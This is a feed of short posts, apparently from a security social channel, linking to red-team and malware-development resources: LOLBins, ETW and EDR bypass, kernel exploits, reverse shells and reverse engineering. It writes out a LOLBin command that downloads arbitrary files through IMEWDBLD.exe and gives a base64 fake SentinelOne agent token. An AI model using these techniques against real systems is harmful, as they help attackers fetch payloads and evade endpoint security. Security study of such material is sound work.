Source Byte

"GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems." Link #linux #redteam #lolbin ——— @islemolecule_source

LOLBin for Downloading Arbitrary Files `C:\Windows\System32\IME\SHARED\IMEWDBLD.exe <URL>``` Find the downloaded file in `%LocalAppData%\Microsoft\Windows\INetCache\<8_RANDOM_ALNUM_CHARS>/<FILENAME>[1].<EXTENSION>` #windows #redteam #lolbin ——— @islemolecule_source

LOLBin: fhmanagew.exe Link #windows #redteam #lolbin ——— @islemolecule_source

LoLBins in attacks Link #windows #redteam #lolbin ——— @islemolecule_source

LOLBAS Living Off The Land techniques. GitHub Doc #windows #redteam ——— @islemolecule_source

Created a PoC for loading DLLs without LoadLibraryA. Instead we'll leverage the VEH (Vectored Exception Handler) to modify the context, especially RIP and RCX to hold the LoadLibraryA address and it's argument. Link #malware_dev ——— @islemolecule_source

Created a PoC for loading DLLs without LoadLibraryA. Instead we'll leverage the VEH (Vectored Exception Handler) to modify the context, especially RIP and RCX to hold the LoadLibraryA address and it's argument. Link #malware_dev ——— @islemolecule_source

Install sentinelone agent with fake token Token - eyJ1cmwiOiAiaHR0cHM6Ly90ZW1wLnZ4c2gubmV0IiwgInNpdGVfa2V5IjogIjEyMzIzOTEyMzEyMzEyMzQifQ==

some good ETW blog posts [ 1 ] ETW visualization [ 2 ] Uncovering Windows Events [ 3 ] ETW internals for security research and forensics [ 4 ] Exploiting a “CVE-2020-1034” Vulnerability – In 35 Easy Steps or Less! [ 5 ] Design issues of modern EDRs: bypassing ETW-based solutions [ 6 ] A Primer On Event Tracing For Windows (ETW) [ 7 ] Windows 10 ETW Events references collection ———

a great series for learning Linux kernel exploitation CVE-2017-11176 (UaF in mq_notify function) Credit: @LexfoSecurite [ 1 ] blog.lexfo.fr/cve-2017-11176… [ 2 ] blog.lexfo.fr/cve-2017-11176… [ 3 ] blog.lexfo.fr/cve-2017-11176… [ 4 ] blog.lexfo.fr/cve-2017-11176… #CVE , #analysis , #old_but_gold ——-

این ریپازیتوری به شما کمک میکند که اگر دانشگاه نرفتید بتوانید به صورت خودخوان و با استفاده از منابع رایگان به کسب دانش بپردازید https://github.com/kalagar/computer-science-university-alternative?tab=readme-ov-file

Pe file format explanation Link #Pe ---------------------- @islemolecule_source

List of awesome reverse engineering resources Link #reverse ---------------------- @islemolecule_source

Reverse Engineering For Everyone! Link #reverse ---------------------- @islemolecule_source

FREE comprehensive reverse engineering tutorial covering x86, x64, 32-bit ARM & 64-bit ARM architectures. Link #reverse ---------------------- @islemolecule_source

Malware and cryptography 24: encrypt/decrypt file via Madryga. Simple C/C++ example. Link #malware_dev ---------------------- @islemolecule_source

persistent reverse shell for windows Link #windows #malware_dev ---------------------- @islemolecule_source